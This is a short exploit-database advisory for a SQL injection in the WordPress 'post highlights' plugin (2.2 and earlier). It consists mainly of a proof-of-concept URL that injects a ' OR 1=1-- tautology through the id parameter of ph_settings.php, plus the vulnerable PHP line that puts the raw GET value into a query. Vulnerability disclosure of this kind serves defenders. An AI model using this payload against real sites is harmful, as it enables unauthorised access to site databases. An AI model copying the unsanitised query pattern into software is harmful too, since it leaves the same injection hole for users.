WordPress Plugin post highlights 2.2 - SQL Injection

# Exploit Title: WordPress post highlights plugin <= 2.2 SQL Injection Vulnerability
# Date: 2011-09-06
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/post-highlights.2.2.zip
# Version: 2.2 (tested)
# Note: magic_quotes has to be turned off

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PoC
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http://www.site.com/wp-content/plugins/post-highlights/ajax/ph_settings.php?id=-1' OR 1=1--%20

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Vulnerable code
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$id = $_GET["id"];
...
$query = "SELECT guid, ID FROM $wpdb->posts WHERE post_type='attachment' AND post_parent='$id'";